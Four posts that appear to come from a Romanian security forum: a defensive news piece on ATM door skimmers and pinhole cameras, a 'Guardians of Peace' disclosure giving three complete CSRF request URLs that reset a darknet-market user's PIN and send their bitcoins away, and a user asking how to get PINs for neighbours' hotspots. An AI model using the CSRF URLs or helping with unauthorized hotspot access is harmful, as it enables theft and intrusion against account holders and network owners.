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  1. Nytro

    Card PIN. Wtf?

    Aveti grija.
  2. Despite anti-skimmer ATM Lobby access control system available in the market, we have seen a number of incidents in recent years where criminals used card skimmers at ATM doors. Few years back, cyber criminals started using card skimmers on the door of the ATM vestibule, where customers have to slide their credit or debit cards to gain access to the ATM. The typical ATM Skimming devices are used by fraudsters capture both magnetic stripe data contained on the back of a debit or credit card as well as the PIN number that is entered by the customer when using the ATM. In recent case discussed by Brian, cyber criminal installed the card skimming device on the ATM Lobby Card Access Control and a pinhole hidden camera pointed at the ATM's keyboard. Basically, it's an ATM skimmer that requires no modification to the ATM. The card skimmer hidden on the ATM door records the debit and credit card information, and the pinhole camera records the PIN number the victim enters. Using this information, a thief can easily run you out of cash in a matter of minutes. PROTECT YOURSELF FROM CARD SKIMMERS The easiest way to protect yourself is simply to cover the keypad with your other hand when you enter your PIN or simply use a different card (any gift card or store card with a magnetic stripe) to open the lobby doors. Also, if keyboard of the ATM looks different, do not use that ATM. If you think your password or PIN has been compromised, change it immediately. Make sure to check your financial reports regularly and for any strange activity and in case of unusual patterns of transactions, inform your bank immediately. NEXT GENERATION CARDLESS ATMs To ensure users secure transaction over ATM, a Canadian bank have come forward to adopt and launch the U.S.'s biggest cardless ATM network that allows its customers to withdraw cash within seconds without the need of any debit or credit cards, but only their smartphones. BMO Harris Bank says there is no need to enter PIN and instead of swiping the card, customers have to sign into mobile banking app "Mobile Cash", hold their smartphones over the QR code on the ATM screen and the cash gets delivered. Source
  3. Ladies and gentlemen Boys and girls It come to our attention that a brave warrior for the people Ross William Ulbricht was unlawfully convicted by the corporation known as the American government. This mockery of justice has not gone unnoticed. In order to protect the next generation of darknet markets we will be disclosing vulnerabilities for these sites in order to make these sites safer from attack. To start, the Agora Marketplace contains a CSRF vulnerability which can be used to drain a victim account of all of their Bitcoins. The following URLs can be used to perform this attack: URL to start PIN reset: http://agorahooawayyfoe.onion/startresetpin?action=askresetpinaction&controller=user&confirmed=true&confirm-submit= URL to change current PIN: http://agorahooawayyfoe.onion/resetpin?pin1=1337&pin2=1337&submit=Save URL to send bitcoins using the new pin: http://agorahooawayyfoe.onion/sendbitcoins?targetaddress=[YOUR_BTC_ADDY]&withdrawschedule=0&targetamount=1&walletpin=1337&submit=Send These are all GET requests and don't require JavaScript to work. NoScript cannot save you from poor coding practices. There will be more to come. Stay safe. Stay anonymous. -The Guardians of Peace Source
  4. Salutare utilizatori RST am si eu o intrebare si anume cum as putea sa aflu ceva date de la doua hotspot-uri care sunt deja deschise dar nu se stie pentru cat timp si vreau sa am un as in maneca in caz ca se intampla sa puna parole la ele propietarii? P.S. Ma gandeam ca poate daca fac rost de PIN dinainte o sa-mi fie de ajutor mai tarziu.
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